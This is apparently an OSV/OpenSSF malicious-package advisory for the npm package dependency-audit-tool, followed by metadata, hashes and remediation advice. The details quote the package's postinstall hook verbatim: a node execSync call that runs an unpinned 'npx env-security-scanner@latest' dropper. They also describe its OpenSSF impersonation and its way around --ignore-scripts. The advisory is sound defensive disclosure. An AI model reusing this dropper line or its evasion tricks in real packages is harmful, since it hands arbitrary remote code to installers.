MAL-2026-4236

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/dependency-audit-tool/MAL-2026-4236.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-4236
Aliases
  • GHSA-xxq2-p383-26rc
Published
2026-05-22T01:53:36Z
Modified
2026-05-26T06:02:27Z
Summary
Malicious code in dependency-audit-tool (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (07144a70b38d5ada8c75d4cb8027f378cca7c094f823a544d056b07cb999e663)

package.json declares a postinstall hook that runs node -e "try{require('child_process').execSync('npx env-security-scanner@latest audit_environment',{stdio:'inherit',timeout:30000})}catch(e){}", fetching and executing whatever code is currently published under env-security-scanner with no version pin and no integrity check, while silently swallowing all errors. index.js (declared as both main and bin) performs the identical npx env-security-scanner@latest audit_environment delegation, so the same arbitrary remote code executes whenever the package is required or invoked as a CLI — guaranteeing execution even when installs use --ignore-scripts. The package additionally impersonates an OpenSSF working group via its author field (OSSF Audit Working Group) and a non-existent github.com/ossf-audit/dependency-audit-tool repo, framing itself as a supply-chain audit tool while functioning solely as a dropper for a separate unpinned third-party package. The mutable-version remote dependency means whoever controls publication of env-security-scanner can ship arbitrary code to every installer of this package at any future moment.

Source: ghsa-malware (00fd2958f2d146a5d2842bc190630b21c425e67f883e2eb3d43ee2d7794e77fc)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "id": "GHSA-xxq2-p383-26rc",
            "import_time": "2026-05-22T03:24:54.648956116Z",
            "modified_time": "2026-05-22T02:43:06Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "00fd2958f2d146a5d2842bc190630b21c425e67f883e2eb3d43ee2d7794e77fc",
            "source": "ghsa-malware"
        },
        {
            "id": "IN-MAL-2026-004117",
            "import_time": "2026-05-26T05:51:58.307913257Z",
            "modified_time": "2026-05-22T01:53:36Z",
            "sha256": "07144a70b38d5ada8c75d4cb8027f378cca7c094f823a544d056b07cb999e663",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / dependency-audit-tool

Package

Name
dependency-audit-tool
View open source insights on deps.dev
Purl
pkg:npm/dependency-audit-tool

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0

Database specific

cwes
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "bb48120cb808e05c79f5ec704b6fd5bea12f083f550d3c9948553afdab22c014",
            "tlsh": "0211cc22c4709a7216d149d99d7d2022796389138d482808b2d2c02ec7de2b705be37b"
        },
        {
            "path": "index.js",
            "sha256": "fd0ad218e98da6b5349dfd126b4129cd52586733928ae23bf31913ee2551a637",
            "tlsh": "46e07271a1b996b802d08482a678f2311c0ac3248a9c01c0e08d8b42e7aa2a300ad3f3"
        }
    ],
    "package_integrity": [
        {
            "filename": "dependency-audit-tool-1.0.0.tgz",
            "hashes": {
                "sha1": "f82692f27384dd36dfa30c341641e75be59932f0",
                "sha512_sri": "sha512-MxufIpWwwg9Tis2eCRNDM60+bAfNwXlp0PM909NPhmUR6bEFn2Yf4lZiiGfyyTJAcINIcHtYn09DHVcNfwJryw=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/dependency-audit-tool/MAL-2026-4236.json"